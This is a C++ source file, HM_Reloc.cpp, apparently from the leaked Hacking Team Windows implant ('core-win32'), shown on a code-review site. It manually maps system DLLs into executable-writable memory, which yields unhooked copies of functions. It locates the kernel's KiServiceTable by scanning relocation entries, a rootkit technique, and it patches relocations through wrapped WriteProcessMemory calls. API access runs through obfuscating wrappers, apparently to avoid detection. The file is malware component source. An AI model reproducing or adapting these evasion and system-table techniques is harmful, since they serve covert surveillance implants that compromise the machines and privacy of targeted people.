hackedteam/core-win32

View on GitHub
HM_Reloc.cpp

Summary

Maintainability
Test Coverage

#include "HM_Reloc.h"
#include "HM_SafeProcedures.h"
#include "common.h"

BOOL readPEInfo(char *modulePos, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH, SectionHeader **outSecHdr)
{
    MZHeader *mzH;
    mzH = (MZHeader *)modulePos;

    if(mzH->signature != 0x5a4d)
        return FALSE;

    PE_Header *peH;
    peH = (PE_Header *)(modulePos + mzH->offsetToPE);

    if(peH->sizeOfOptionHeader != sizeof(PE_ExtHeader))
        return FALSE;

    PE_ExtHeader *peXH;
    peXH = (PE_ExtHeader *)((char *)peH + sizeof(PE_Header));

    SectionHeader *secHdr = (SectionHeader *)((char *)peXH + sizeof(PE_ExtHeader));

    *outMZ = *mzH;
    *outPE = *peH;
    *outpeXH = *peXH;
    *outSecHdr = secHdr;

    return TRUE;
}


//*******************************************************************************************************
// Returns the total size required to load a PE image into memory
//
//*******************************************************************************************************

int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
                       SectionHeader *inSecHdr)
{
    int result = 0;
    int alignment = inpeXH->sectionAlignment;

    if(inpeXH->sizeOfHeaders % alignment == 0)
        result += inpeXH->sizeOfHeaders;
    else
    {
        int val = inpeXH->sizeOfHeaders / alignment;
        val++;
        result += (val * alignment);
    }
    for(int i = 0; i < inPE->numSections; i++)
    {
        if(inSecHdr[i].virtualSize)
        {
            if(inSecHdr[i].virtualSize % alignment == 0)
                result += inSecHdr[i].virtualSize;
            else
            {
                int val = inSecHdr[i].virtualSize / alignment;
                val++;
                result += (val * alignment);
            }
        }
    }

    return result;
}


//*******************************************************************************************************
// Returns the aligned size of a section
//
//*******************************************************************************************************

ULONG getAlignedSize(unsigned long curSize, unsigned long alignment)
{    
    if(curSize % alignment == 0)
        return curSize;
    else
    {
        int val = curSize / alignment;
        val++;
        return (val * alignment);
    }
}

//*******************************************************************************************************
// Copy a PE image from exePtr to ptrLoc with proper memory alignment of all sections
//
//*******************************************************************************************************

BOOL loadPE(char *exePtr, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
            SectionHeader *inSecHdr, LPVOID ptrLoc)
{
    char *outPtr = (char *)ptrLoc;

    memcpy(outPtr, exePtr, inpeXH->sizeOfHeaders);
    outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);

    for(int i = 0; i < inPE->numSections; i++)
    {
        if(inSecHdr[i].sizeOfRawData > 0)
        {
            unsigned long toRead = inSecHdr[i].sizeOfRawData;
            if(toRead > inSecHdr[i].virtualSize)
                toRead = inSecHdr[i].virtualSize;

            memcpy(outPtr, exePtr + inSecHdr[i].pointerToRawData, toRead);

            outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
        }
    }

    return true;
}


//*******************************************************************************************************
// Loads the DLL into memory and align it
//
//*******************************************************************************************************

LPVOID loadDLL(char *dllName)
{
    char moduleFilename[MAX_PATH + 1];
    LPVOID ptrLoc = NULL;
    MZHeader mzH2;
    PE_Header peH2;
    PE_ExtHeader peXH2;
    SectionHeader *secHdr2;

    FNC(GetSystemDirectoryA)(moduleFilename, MAX_PATH);
    if((myStrlenA(moduleFilename) + myStrlenA(dllName)) >= MAX_PATH)
        return NULL;

    strncat_s(moduleFilename, MAX_PATH, dllName, MAX_PATH);

    // load this EXE into memory because we need its original Import Hint Table

    HANDLE fp;
    fp = FNC(CreateFileA)(moduleFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

    if(fp != INVALID_HANDLE_VALUE)
    {
        BY_HANDLE_FILE_INFORMATION fileInfo;
        FNC(GetFileInformationByHandle)(fp, &fileInfo);

        DWORD fileSize = fileInfo.nFileSizeLow;
        if(fileSize)
        {
            LPVOID exePtr = HM_SafeVirtualAllocEx(FNC(GetCurrentProcess)(), NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if(exePtr)
            {
                DWORD read;

                if(FNC(ReadFile)(fp, exePtr, fileSize, &read, NULL) && read == fileSize)
                {                    
                    if(readPEInfo((char *)exePtr, &mzH2, &peH2, &peXH2, &secHdr2))
                    {
                        int imageSize = calcTotalImageSize(&mzH2, &peH2, &peXH2, secHdr2);                        

                        ptrLoc = HM_SafeVirtualAllocEx(FNC(GetCurrentProcess)(), NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                        //ptrLoc = HeapAlloc(GetProcessHeap(), 0, imageSize);
                        if(ptrLoc)
                        {                            
                            loadPE((char *)exePtr, &mzH2, &peH2, &peXH2, secHdr2, ptrLoc);
                        }
                    }

                }
                //HeapFree(GetProcessHeap(), 0, exePtr);
                FNC(VirtualFreeEx)(FNC(GetCurrentProcess)(), exePtr, 0, MEM_RELEASE);
            }
        }
        CloseHandle(fp);
    }

    return ptrLoc;
}

DWORD myStrlenA(char *ptr)
{
    DWORD len = 0;
    while(*ptr)
    {
        len++;
        ptr++;
    }

    return len;
}

DWORD GetHeaders(PCHAR ibase,
                 PIMAGE_FILE_HEADER *pFH,
                 PIMAGE_OPTIONAL_HEADER *pOH,
                 PIMAGE_SECTION_HEADER *pSH)

{
    PIMAGE_DOS_HEADER mzhead = (PIMAGE_DOS_HEADER) ibase;
    
    if( (mzhead->e_magic != IMAGE_DOS_SIGNATURE) ||        
        (ibaseDD[mzhead->e_lfanew] != IMAGE_NT_SIGNATURE)  )
        return false;
    
    *pFH = (PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
    if( ((PIMAGE_NT_HEADERS)*pFH)->Signature != IMAGE_NT_SIGNATURE )
        return false;

    *pFH = (PIMAGE_FILE_HEADER)((PBYTE)*pFH + sizeof(IMAGE_NT_SIGNATURE));
    
    *pOH = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*pFH + sizeof(IMAGE_FILE_HEADER));

    if ((*pOH)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC)
        return false;
    
    *pSH = (PIMAGE_SECTION_HEADER)((PBYTE)*pOH + sizeof(IMAGE_OPTIONAL_HEADER));

    return true;
}


DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{
    PIMAGE_FILE_HEADER        pFH;
    PIMAGE_OPTIONAL_HEADER    pOH;
    PIMAGE_SECTION_HEADER   pSH;
    PIMAGE_BASE_RELOCATION  pBR;
    PIMAGE_FIXUP_ENTRY        pFE;    
    
    DWORD    dwFixups=0,i;
    DWORD    dwPointerRva;
    DWORD    dwPointsToRva;
    DWORD    dwKiServiceTable;
    BOOL    bFirstChunk;

    if( !GetHeaders((PCHAR)hModule,&pFH,&pOH,&pSH) )
        return NULL;

    if( (pOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
        !((pFH->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED) ) {
        
        pBR = (PIMAGE_BASE_RELOCATION) RVATOVA(pOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);

        bFirstChunk = true;

        while( bFirstChunk || pBR->VirtualAddress ) {
            
            bFirstChunk = false;
            pFE = (PIMAGE_FIXUP_ENTRY)((DWORD)pBR + sizeof(IMAGE_BASE_RELOCATION));

            for( i=0; i < (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))>>1; i++,pFE++ ) {
                if( pFE->type == IMAGE_REL_BASED_HIGHLOW ) {
                    dwFixups++;
                    dwPointerRva  = pBR->VirtualAddress + pFE->offset;
                    dwPointsToRva = *(PDWORD)((DWORD)hModule + dwPointerRva) - (DWORD)pOH->ImageBase;

                    if( dwPointsToRva == dwKSDT ) {
                        if( *(PWORD)((DWORD)hModule + dwPointerRva - 2) == 0x05c7 ) {
                            dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwPointerRva + 4) - pOH->ImageBase;
                            return dwKiServiceTable;
                        }
                    }          
                } 
            }
            *(PDWORD)&pBR += pBR->SizeOfBlock;
        }
    }    
    
    return NULL;
}

BOOL RelocImage(PVOID exeAddr, PVOID newAddr)
{
    MZHeader mzH2;
    PE_Header peH2;
    PE_ExtHeader peXH2;
    SectionHeader *secHdr2;

    if (!exeAddr || !newAddr)
        return FALSE;

    if(!readPEInfo((char *)exeAddr, &mzH2, &peH2, &peXH2, &secHdr2))
        return FALSE;

    if(peXH2.relocationTableAddress && peXH2.relocationTableSize) {
        FixupBlock *fixBlk = (FixupBlock *)((char *)exeAddr + peXH2.relocationTableAddress);        

        while(fixBlk->blockSize) {
            // Que - Questa funzione imposta _flags_ alle caratteristiche della sezione, in modo da
            // rilocare soltanto le entry di quelle sezioni che sono eseguibili. La mettiamo qui
            // cosi' evitiamo overhead, tanto ogni blocco si trova sicuramente all'interno della
            // stessa sezione.
            DWORD flags = 0;

            for(int j = 0; j < peH2.numSections; j++){
                if(peXH2.imageBase + fixBlk->pageRVA >= peXH2.imageBase + secHdr2[j].virtualAddress &&
                    peXH2.imageBase + fixBlk->pageRVA < peXH2.imageBase + secHdr2[j].virtualAddress +
                    secHdr2[j].virtualSize){

                        flags = secHdr2[j].characteristics;
                        break;
                }
                flags = 0;
            }

            int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
            unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
            for(int i = 0; i < numEntries; i++)    {                
                int relocType = (*offsetPtr & 0xF000) >> 12;
                if(relocType == 3) {
                    DWORD *codeLoc = (DWORD *)((char *)exeAddr + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));                    
                    DWORD delta = (DWORD)newAddr - (DWORD)peXH2.imageBase;                    
                    DWORD value = (*codeLoc) + delta;
                    DWORD dummy;

                    if(flags && (flags & IMAGE_SCN_MEM_EXECUTE))
                        HM_SafeWriteProcessMemory(FNC(GetCurrentProcess)(), codeLoc, &value, sizeof(DWORD), &dummy);
                }
                offsetPtr++;
            }
            fixBlk = (FixupBlock *)offsetPtr;
        }
        return TRUE;
    }
    return FALSE;
}